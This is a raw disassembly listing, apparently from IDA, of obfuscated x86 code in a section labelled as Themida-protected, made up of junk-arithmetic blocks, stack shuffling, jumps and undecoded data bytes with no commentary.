loc_571B8A:				; CODE XREF: Themida_:0056A0A6j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4B85D0B1h
		sub	ebp, edi
		jmp	loc_565CF6
; ---------------------------------------------------------------------------


loc_571B9C:				; CODE XREF: Themida_:0056E8A7j
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_568E8A
; ---------------------------------------------------------------------------
		dw 4AB2h
		dd 0E913C280h, 0FFFF8BD8h
; ---------------------------------------------------------------------------


loc_571BB4:				; CODE XREF: Themida_:005615D0j
		mov	edi, esp
		add	edi, 4
		jmp	loc_56E335
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0C381E389h, 4, 1B6368h, 24048900h, 18DDBD55h, 57E947D0h
		dd 0B8FFFFA6h, 6AE802A8h, 0FF80BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571BE9:				; CODE XREF: Themida_:00567F00j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		jmp	loc_564497
; ---------------------------------------------------------------------------
		dd 8E8C15Ch, 86E9C831h,	0F7FFFF7Ah, 2DC681D6h, 56343B07h
		dd 0FFCAE5E9h, 241489FFh, 255F68h, 24348900h, 0C681E689h
		dd 4, 4EE81h, 0FF560000h, 5E042474h, 8B24048Fh,	1C892424h
		dd 16824h, 565B0000h, 0FFECBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571C65:				; CODE XREF: Themida_:00561E59j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		add	ebp, 4
		jmp	loc_5661C9
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9241489h, 0FFFFEE32h
; ---------------------------------------------------------------------------


loc_571C88:				; CODE XREF: Themida_:0056F13Bj
		mov	ecx, 37B542C8h
		jmp	loc_56DCB2
; ---------------------------------------------------------------------------


loc_571C92:				; CODE XREF: Themida_:00564DD4j
		xchg	esi, [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_5611CE
; ---------------------------------------------------------------------------
		db 81h
		dd 4A0383E6h, 0F6814E4Bh, 1053946h, 0FFD59AE9h,	24048BFFh
		dd 4EC81h, 2C890000h, 580DE924h, 5B59FFFFh, 8B2434FFh
		dd 0C4812414h, 4, 4C481h, 0E6300000h, 24048B66h, 0C96BE957h
		dd 0E300FFFFh, 68515358h, 4AD6h, 83242489h, 0E9042404h
		dd 0FFFED9EBh, 0C880E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571D16:				; CODE XREF: Themida_:00571576j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		push	44E5h
		mov	[esp], esi
		jmp	loc_56874E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3BAB0DE6h
		not	ecx
		xor	ecx, 60D00AB6h
		jmp	loc_563A2B
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 4BE56h, 0F1010000h, 0E924348Bh, 0FFFFF413h
		dd 0E7895753h, 4C781h, 0EF830000h, 243C3304h, 33243C31h
		dd 545C243Ch, 8324048Fh, 8B042404h, 8953241Ch, 4C381E3h
		dd 83000000h, 7CE904C3h, 8100001Bh, 4C5h, 242C8700h, 4EC815Ch
		dd 89000000h, 0E2892414h, 0FF6E29E9h, 241C32FFh, 0E9241C30h
		dd 0FFFECD05h, 4E981h, 0E8E90000h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571DD7:				; CODE XREF: Themida_:00564F63j
		add	esp, 4
		shr	eax, 18h
		jmp	loc_5711A2
; ---------------------------------------------------------------------------
		dw 3158h
		dd 9ABAE9F2h, 0E958FFFFh, 0FFFFCF20h, 88E18851h, 240C8BCBh
		dd 0AE09E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571DFE:				; CODE XREF: Themida_:00569AB4j
		shl	ebp, 4
		jmp	loc_569E6A
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0C895C24h, 0D992E924h, 5B66FFFEh, 0C180D9F6h, 0E968E963h
		dd 0FE21FFFFh, 0A9F6815Fh, 0E9441611h, 0FFFF8791h, 0F952C781h
		dd 0FD019746h, 0FF48E9E9h, 885253FFh, 0E9D788EAh, 1C1Ah
; ---------------------------------------------------------------------------


loc_571E44:				; CODE XREF: Themida_:0055EE96j
		add	eax, 653D73CAh
		add	eax, ecx
		sub	eax, 653D73CAh
		pop	ecx
		push	dword ptr [edi+24h]
		jmp	loc_561748
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0AAh
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571E5F:				; CODE XREF: Themida_:00563F9Fj
		mov	esi, 37855ED7h
		neg	esi
		inc	esi
		neg	esi
		xor	esi, 666F462Ch
		add	esi, 0B21F0852h
		jmp	loc_56E76C
; ---------------------------------------------------------------------------


loc_571E7A:				; CODE XREF: Themida_:0055F01Aj
		push	2A0h
		jmp	loc_56D00A
; ---------------------------------------------------------------------------
		dd 26E9575Ch, 5DFFFEFCh, 0FF3339E9h, 0E9E389FFh, 0FFFFFA4Dh
		dd 0B59C821h, 0EC840FC0h, 55000003h, 0FF75FAE9h, 1EFE68FFh
		dd 0BBE90000h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571EB3:				; CODE XREF: Themida_:00565B4Bj
		add	esp, 4
		sub	[esp+4], edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55FB3E
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 905E9h, 59CB2900h, 0C381F301h, 7015782Bh, 0FF2434FFh
		dd 9BE92434h, 0BEFFFFB4h, 46414B97h, 0C8E9D6F7h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571EF3:				; CODE XREF: Themida_:0056CE07j
		mov	ebp, 4
		jmp	loc_564345
; ---------------------------------------------------------------------------


loc_571EFD:				; CODE XREF: Themida_:00573ECDj
		mov	[esp], ebx
		mov	ebx, 76A83754h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_565EF1
; ---------------------------------------------------------------------------


loc_571F0D:				; CODE XREF: Themida_:005653F4j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		xor	edx, eax
		pop	eax
		jmp	loc_56C90A
; ---------------------------------------------------------------------------
		db 57h
		dd 0BC7BF1BFh, 4613E90Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571F2A:				; CODE XREF: Themida_:0056AD73j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebx
		jmp	loc_5632B8
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFEBDEh, 5304C483h, 3329A7BBh, 2EC38140h,	0E953EF15h
		dd 0FFFF787Fh
; ---------------------------------------------------------------------------


loc_571F60:				; CODE XREF: Themida_:005645BAj
		mov	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_56B910
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 1
		dd 0F5E9C9FEh, 0E9FFFFAFh, 0FFFECB55h, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56FBBF
; ---------------------------------------------------------------------------


loc_571F91:				; CODE XREF: Themida_:0056BCE7j
		sub	dword ptr [esp], 3DE771CCh
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------


loc_571F9D:				; CODE XREF: Themida_:005620E5j
		pop	dword ptr [edi+20h]
		jmp	loc_56BA42
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 50000000h, 3C4075B8h, 0DE56E934h, 48BFFFEh, 4EC8124h
		dd 0E9000000h, 0FFFF0232h, 24048B66h, 8904EC83h, 0EC83240Ch
		dd 24248904h, 0FF1439E9h, 4BE56FFh, 81000000h, 617D4FEFh
		dd 81F70100h, 617D4FC7h, 24348B00h, 4C481h, 80E90000h
		dd 5CFFFF60h, 0F66E9F6h, 6866CCB6h, 89667E54h, 0F66240Ch
		dd 5166C8B6h, 0CABBE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572016:				; CODE XREF: Themida_:0056CD45j
		add	dx, bp
		sub	dx, 26F1h
		pop	bp
		inc	dx
		xor	dx, 1F41h
		push	0FC1h
		mov	[esp], eax
		push	small 202h
		jmp	loc_567BF2
; ---------------------------------------------------------------------------
		dd 573CE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57203E:				; CODE XREF: Themida_:00564438j
		push	eax
		push	ebp
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_5683B7
; ---------------------------------------------------------------------------
		dd 5C243C33h, 0FECA68E9h, 66630CFFh, 0DCB551h, 0E95966E8h
		dd 0FFFFB3DEh, 30C7BA52h, 81E93AA6h, 28FFFF97h,	5BEB80C3h
		dd 68D7C380h, 2148h, 0E9241489h, 0FFFF780Fh
; ---------------------------------------------------------------------------


loc_572098:				; CODE XREF: Themida_:0056ADDFj
		xor	ebx, 69020692h
		add	eax, ebx
		pop	ebx
		add	eax, ebx
		sub	eax, 6C8246D2h
		pop	ebx
		push	30B7h
		mov	[esp], edx
		push	6CF91FA3h
		pop	edx
		shr	edx, 2
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57250A
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 11D5h
; ---------------------------------------------------------------------------


loc_5720D0:				; CODE XREF: Themida_:00568483j
		or	ebp, 4BD7223Ah
		jmp	loc_55F8B6
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E924048Fh, 1E58h, 4C381h, 74E90000h, 81FFFFC7h, 4C5h
		dd 4ED8100h, 87000000h,	895C242Ch, 0FF502434h, 815E2434h
		dd 4C4h, 112FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_572112:				; CODE XREF: Themida_:005725FEj
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, ebx
		push	edi
		push	edx
		mov	edx, 49ED7191h
		dec	edx
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		xor	edx, 9BF0A679h
		mov	edi, edx
		pop	edx
		jmp	loc_567107
; ---------------------------------------------------------------------------


loc_572139:				; CODE XREF: Themida_:0056BD88j
		xor	ebp, 5BA393Fh
		mov	ebx, ebp
		pop	ebp
		jmp	loc_565014
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8904EC83h, 0E189240Ch, 0FF3855E9h, 8BDA01FFh, 8956241Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 0FF96BEE9h, 0ECE943FFh
		dd 88FFFF6Fh, 74E95AD1h, 66FFFF6Fh, 57240C8Bh, 2434FF54h
		dd 0FF0E96E9h, 4EC81FFh, 89000000h, 9BBA2414h, 8129055Eh
		dd 0CF7086EDh, 81D52929h, 0CF7086C5h, 24148B29h, 4C481h
		dd 0C1580000h, 0D5F707EDh, 7BCEED81h, 0E901FFFCh, 0A52FE95Dh
		dd 2C87FFFFh, 24248B24h, 0FFA343E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5721D1:				; CODE XREF: Themida_:005645D7j
		add	ebp, esi
		pop	esi
		jmp	loc_56E12D
; ---------------------------------------------------------------------------


loc_5721D9:				; CODE XREF: Themida_:005673E7j
		add	eax, 123BAAD0h
		add	ebx, 6EE22EC2h
		sub	ebx, 4F4F579Fh
		add	ebx, eax
		add	ebx, 4F4F579Fh
		sub	ebx, 6EE22EC2h
		pop	eax
		push	0E17h
		mov	[esp], eax
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dw 0F488h
		dd 0FFE49FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57220D:				; CODE XREF: Themida_:00569A6Bj
		mov	eax, [esp]
		jmp	loc_5658A5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 312h, 0FEEA62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572225:				; CODE XREF: Themida_:00567FD4j
		mov	esp, [esp]
		dec	esi
		and	esi, 5EDB77A8h
		inc	esi
		shr	esi, 1
		push	edx
		mov	edx, 4BDE5CEDh
		xor	esi, edx
		pop	edx
		jmp	loc_570AED
; ---------------------------------------------------------------------------
		dd 405h, 9430E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57224A:				; CODE XREF: Themida_:00573220j
		pop	esp
		div	cl
		movzx	cx, ah
		push	833h
		jmp	loc_572588
; ---------------------------------------------------------------------------


loc_57225B:				; CODE XREF: Themida_:0056FA37j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55FB8B
; ---------------------------------------------------------------------------
		db 31h,	0C7h, 31h
		dd 81C731F8h, 0FFFFFFEFh, 78F781FFh, 1BF0794h, 2434FFFEh
		dd 0FF2571E9h, 40966FFh, 42E99C24h, 68FFFEC8h, 2B98h, 0FFE72EE9h
		dd 240C87FFh, 243C875Ch, 0E924248Bh, 0FFFF2CC0h, 3AECBE56h
		dd 89572829h, 4C781E7h,	0E9000000h, 0FFFEEC0Fh,	83242C8Bh
		dd 0EF8104C4h, 4, 0FF4D12E9h, 4C481FFh,	0E9000000h, 0FFFFEFFEh
		dd 0FF2434FFh, 55582434h, 0FFCEDCE9h, 48F5AFFh,	0E560E924h
		dd 0BF57FFFEh, 1798201Ah, 0EFC1EFD1h, 81D7F707h, 340432EFh
		dd 25F78117h, 89D45724h, 0F3815FFBh, 49B2175h, 2245BD55h
		dd 0D5F71399h, 1622E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57231E:				; CODE XREF: Themida_:00568395j
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	280Fh
		mov	[esp], eax
		mov	eax, 4A15719Eh
		jmp	loc_565AE7
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0D68240Ch, 8900002Ah, 5B54241Ch, 2B2E68h, 24148900h
		dd 0A23B53BAh, 684A25h,	29000000h, 815A2414h, 0A13A7FCAh
		dd 0A5BE5629h, 2169C27Bh, 24348BF2h, 0FEF492E9h, 48B66FFh
		dd 6D5A6824h, 0C890000h, 70426824h, 24890000h, 24048124h
		dd 4, 52240C8Bh, 0C281E289h, 4,	8704C283h, 0ECE92414h
		dd 0B4FFFF3Eh, 0DD47E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5723AE:				; CODE XREF: Themida_:00568B57j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 40F70719h
		sub	eax, 63642CA4h
		sub	eax, 0FFFFFFFFh
		neg	eax
		jmp	loc_56A4EF
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 4C781h, 3C870000h, 0B2525C24h, 0E9EAD060h
		dd 0FFFF973Eh, 0E280D2F6h, 51C2807Ch, 305AD330h, 52665BD8h
		dd 4EC8150h, 89000000h,	4B3241Ch, 88DD8851h, 240C8BECh
		dd 8B04C483h, 8956241Ch, 66E957E6h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57241B:				; CODE XREF: Themida_:0055F292j
		sub	eax, edx
		push	dword ptr [esp]
		jmp	loc_56E2E8
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 5D12E953h, 1C89FFFFh, 0BDEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_572436:				; CODE XREF: Themida_:0056F8EAj
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		jmp	loc_56F763
; ---------------------------------------------------------------------------


loc_57244D:				; CODE XREF: Themida_:005674E2j
		or	dx, ax
		jmp	loc_56B32C
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C4h, 51AA2D00h, 0C6219C0Ch, 8124048Bh, 4C4h
		dd 0F841E900h, 0EB89FFFFh, 5BD8295Dh, 2B02D5Bh,	0F00142F5h
		dd 2B0BB53h, 0D80142F5h, 83241C8Bh, 542D04C4h, 5E4C6153h
		dd 0A3E95557h, 81FFFF54h, 0CF5E9EEEh, 8BF389E3h, 0C4812434h
		dd 4, 0FECBA6E9h, 2CE952FFh, 33FFFFAEh,	248B242Ch, 0FDBFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5724C6:				; CODE XREF: Themida_:00567682j
		mov	eax, [esp]
		add	esp, 4
		add	edx, edi
		jmp	loc_5647AA
; ---------------------------------------------------------------------------
		dw 5A54h
		dd 4C281h, 0C2830000h, 0C939E904h, 835BFFFEh, 348904ECh
		dd 2474FF24h, 0A88CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5724F6:				; CODE XREF: Themida_:0056562Dj
		sub	ebx, 48C03338h
		add	ebx, edi
		add	ebx, 48C03338h
		pop	edi
		jmp	loc_5660F2
; ---------------------------------------------------------------------------


loc_57250A:				; CODE XREF: Themida_:005720C3j
		mov	eax, 0C5658037h
		sub	edx, 3816715Eh
		jmp	loc_56B4C7
; ---------------------------------------------------------------------------
		dw 7035h
		dd 251EBB04h, 4E894529h, 76DF7705h, 0E9C30172h,	985h
; ---------------------------------------------------------------------------


loc_572530:				; CODE XREF: Themida_:0055EE82j
		not	ebx
		inc	ebx
		add	ebx, 7FBB4A5Ah
		add	ecx, ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_56FD1B
; ---------------------------------------------------------------------------
		dd 74E9CB29h, 8BFFFF20h, 0C481241Ch, 4,	238C681h, 0FE29570Bh
		dd 238EE81h, 16E9570Bh,	5CFFFF17h, 9F268h, 242C8900h, 6852E589h
		dd 4B55h, 68242C89h, 3CD0h, 0E9243C89h,	0FFFEC79Dh
; ---------------------------------------------------------------------------


loc_572588:				; CODE XREF: Themida_:00572256j
		mov	[esp], eax
		push	eax
		push	esp
		jmp	loc_56F1E1
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 34084804h, 0EB81C301h, 34084804h, 5BF8BE56h,	0F3297861h
		dd 8324348Bh, 0B86804C4h, 0E900003Fh, 0FFFFF911h
; ---------------------------------------------------------------------------


loc_5725B8:				; CODE XREF: Themida_:005716D4j
		mov	esi, 6CA0607Ch
		shl	esi, 3
		xor	esi, 23A169ACh
		shr	esi, 3
		xchg	ecx, esi
		inc	ecx
		xchg	ecx, esi
		shl	esi, 1
		add	esi, 564F9C58h
		add	ebp, 7AAD71B8h
		add	ebp, esi
		push	esi
		mov	esi, 30705100h
		dec	esi
		add	esi, 9FA029Fh
		xor	esi, 62285C2Bh
		add	esi, 226B6203h
		jmp	loc_56357A
; ---------------------------------------------------------------------------


loc_5725FC:				; CODE XREF: Themida_:0056DF49j
		add	ebp, edx
		jmp	loc_572112
; ---------------------------------------------------------------------------


loc_572603:				; CODE XREF: Themida_:0055F91Fj
		sub	esi, 154422B8h
		add	esi, ebp
		add	esi, 154422B8h
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, 33AD1906h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_573696
; ---------------------------------------------------------------------------
		dd 24048B66h, 1440E9h, 0FEA8B100h, 0F4F180C9h, 0FED24DE9h
		dd 243C87FFh, 5524248Bh, 68505D54h, 7C93h, 0BB241C89h
		dd 6ADB0420h, 0FEEF66E9h, 0F2B05FFh, 0C3557CCh,	51C2D45h
		dd 24872947h, 144EC781h, 54E9387Ah, 81FFFEE1h, 895C35EBh
		dd 7D10E93Fh, 0C483FFFFh, 3AD2E904h, 34FFFFFFh,	0BD44E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572692:				; CODE XREF: Themida_:0056FC78j
		mov	esp, [esp]
		add	ebp, 4
		jmp	loc_5705C0
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C2404D3h, 0FEC424E9h, 1D3B8FFh, 0F031602Ch
		dd 0E9C2295Eh, 0FFFFA122h, 4BAh, 5AD50100h, 0E904C583h
		dd 0FFFEF0E0h, 240C8B66h, 23BE6850h, 0EC830000h, 24248904h
		dd 4240483h, 0FFAA38E9h, 240481FFh, 7D7E3063h, 30632D58h
		dd 5F507D7Eh, 582434FFh, 0FFCB3EE9h, 243C89FFh,	0BFE9E789h
		dd 89FFFF45h, 0E592E9E3h, 0C380FFFFh, 24048BBFh, 0F04C483h
		dd 8B66C0B6h, 0E6E92414h, 5EFFFF9Fh, 0B9955FBBh, 0E9F33105h
		dd 0FFFF52B6h
; ---------------------------------------------------------------------------


loc_572730:				; CODE XREF: Themida_:00568D30j
		mov	edx, 6DF425EFh
		inc	edx
		push	ebp
		mov	ebp, 6DF435F0h
		xor	edx, ebp
		pop	ebp
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_562E58
; ---------------------------------------------------------------------------
		db 57h,	52h, 81h
		dd 32D72434h, 815F7F69h, 6932D7F7h, 0EE28E97Fh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572776:				; CODE XREF: Themida_:0056D2E2j
		pop	ecx
		xor	ecx, 72FF4728h
		pop	ebp
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	edi, 8
		shr	edi, 6
		jmp	loc_56DB47
; ---------------------------------------------------------------------------
		db 5, 0BDh, 45h
		dd 0E7E90E22h, 89FFFED5h, 51502414h, 0FFC802E9h, 2414F7FFh
		dd 3BEF815Fh, 81621778h, 0E353CEF7h, 0E2BE5640h, 0E901DD7Fh
		dd 0FFFF5054h, 63A3E981h, 835F47C9h, 98E904ECh
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5727CF:				; CODE XREF: Themida_:0056DE38j
		add	eax, edx
		jmp	loc_573E9A
; ---------------------------------------------------------------------------
		dw 8957h
		dd 0E282E9C7h, 0C381FFFFh, 32477E3Ah, 0FEFF9CE9h, 240481FFh
		dd 4, 0DCBE565Ah, 0E93DF727h, 0FFFFBF50h, 0FEC2D0E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_561F97
; ---------------------------------------------------------------------------


loc_57280F:				; CODE XREF: Themida_:0056A6A7j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5658F6
; ---------------------------------------------------------------------------
		dd 4C481h, 0AE90000h, 53FFFED1h, 0C381E389h, 4,	4C381h
		dd 1C870000h, 3238E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57283E:				; CODE XREF: Themida_:00567ED2j
		pop	dword ptr [esp]
		pop	esp
		push	31B5h
		mov	[esp], ebp
		jmp	loc_563E79
; ---------------------------------------------------------------------------
		db 66h
		dd 9C241CF7h, 0FFE221E9h, 80D2F6FFh, 5150A0C2h,	0FF39B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572865:				; CODE XREF: Themida_:0056894Cj
		pop	ebx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_563BF2
; ---------------------------------------------------------------------------
		db 87h
		dd 535C242Ch, 0A8E9E389h, 0C0FFFEF7h, 0D6F607E6h, 159EE9h
		dd 25EDBB00h, 0CB8134B6h, 63B84AD4h, 0F381D3F7h, 88419006h
		dd 0FFA46CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57289D:				; CODE XREF: Themida_:005653FFj
		add	esi, edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1F8A71E7h
		jmp	loc_56EF28
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 6A5BD70Fh, 0C8BC801h, 4C48324h, 242C8150h, 2E431EDFh
		dd 0DFC7815Fh, 582E431Eh, 8108EFC1h, 6C12A0F7h,	8BF82972h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56FEBF
; ---------------------------------------------------------------------------


loc_5728EF:				; CODE XREF: Themida_:0056B102j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5634E6
; ---------------------------------------------------------------------------
		dw 489h
		dd 0FF8AE924h, 0C529FFFEh, 0FF10DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572909:				; CODE XREF: Themida_:0056D762j
		not	dword ptr [esp]
		pop	ebx
		shl	ebx, 1
		add	ebx, 0FFFFFFFFh
		xor	ebx, 0DB1AE1C3h
		push	edi
		mov	edi, 2A4367C3h
		push	ebx
		mov	ebx, 64CC39B4h
		jmp	loc_56DF86
; ---------------------------------------------------------------------------
		db 1, 0C2h, 68h
		dd 43EFh, 0BE243489h, 0AE2580h,	450E9h
		db 0
; ---------------------------------------------------------------------------


loc_57293D:				; CODE XREF: Themida_:0056D7B0j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_572BA6
; ---------------------------------------------------------------------------


loc_57295C:				; CODE XREF: Themida_:0056056Dj
		mov	[esp], ecx
		mov	ecx, 28h
		push	3B01h
		mov	[esp], edi
		push	3BA7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_560973
; ---------------------------------------------------------------------------
		db 87h
		dd 7AE9242Ch, 5DFFFF8Ah, 51E08950h, 3A82BE56h, 0EEC13391h
		dd 0CDC68106h, 812D246Eh, 0F2B3B3EEh, 5EF1892Dh, 0FFFDE0E9h
		dd 0C2895FFFh, 0FFD30158h, 0C5E92434h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5729BF:				; CODE XREF: Themida_:00560E50j
		push	esi
		mov	esi, esp
		jmp	loc_56EA33
; ---------------------------------------------------------------------------
		db 81h
		dd 0AB6392F1h, 59CE296Fh, 0FF692FE9h, 0D5EE81FFh, 29351A25h
		dd 6EE95EF0h, 5FFFFF7Ah, 0FFA063E9h, 0D0C781FFh, 0F77AF802h
		dd 0E8F781D7h, 3118FFA6h, 5E505FF8h, 68505258h,	2C0C7A61h
		dd 0EC55E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572A0A:				; CODE XREF: Themida_:0057365Aj
		mov	ebx, 688C6E88h
		jmp	loc_5604C6
; ---------------------------------------------------------------------------
		dd 0EB80CB28h, 0E1EB8063h, 52240C8Bh, 0C281E289h, 4, 4B850h
		dd 0C2010000h, 24148758h, 28D4045Ch, 8BD42CD8h,	0C483241Ch
		dd 7B66804h, 1C890000h,	2CF0B324h, 3BCF681Ah, 0C890000h
		dd 7BB35324h, 4BE924B5h, 83FFFEE1h, 48904ECh, 4DEAB824h
		dd 0F1E90DD3h, 0FFFFFFBFh, 0E9042474h, 0FFFECE26h
; ---------------------------------------------------------------------------


loc_572A78:				; CODE XREF: Themida_:00561339j
		add	eax, edx
		pop	edx
		sub	eax, 1
		push	ebp
		mov	ebp, 6E67336Ah
		and	eax, ebp
		pop	ebp
		add	eax, 0F6C7FFE5h
		mov	edi, eax
		pop	eax
		jmp	loc_561192
; ---------------------------------------------------------------------------
		dd 4B8505Ah, 81000000h,	0C23E2BC1h, 81C10123h, 0C23E2BE9h
		dd 0C1E95823h, 8BFFFF48h, 0E8C12424h, 42CCE90Ah, 5352FFFFh
		dd 32A168h, 0ED8BE900h,	248BFFFFh, 37486824h, 14890000h
		dd 0E836E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572AD6:				; CODE XREF: Themida_:005691B7j
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 58D2CE81h, 0C6815237h, 2840A02Dh, 348BF129h,	4C48124h
		dd 87000000h, 248B240Ch, 24348924h, 0BA05AB68h,	0C6815E4Eh
		dd 521521D6h, 98AC681h,	0BF5740EDh, 0FD15588h, 3E7C14Fh
		dd 2AE7814Fh, 0C11C3B0Eh, 0F78107EFh, 7258470Ch, 0FFF2CDE9h
		dd 1C4F21FFh, 0E92434FFh, 0FFFFAA9Ah, 0EFE9525Ah, 89FFFFBFh
		dd 4812434h, 0BD499724h, 0EA815A7Fh, 7FBD4997h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5645D1
; ---------------------------------------------------------------------------


loc_572B85:				; CODE XREF: Themida_:00572CEAj
		push	ecx
		mov	ecx, 3C85B7Eh
		sub	edi, ecx
		pop	ecx
		jmp	loc_562447
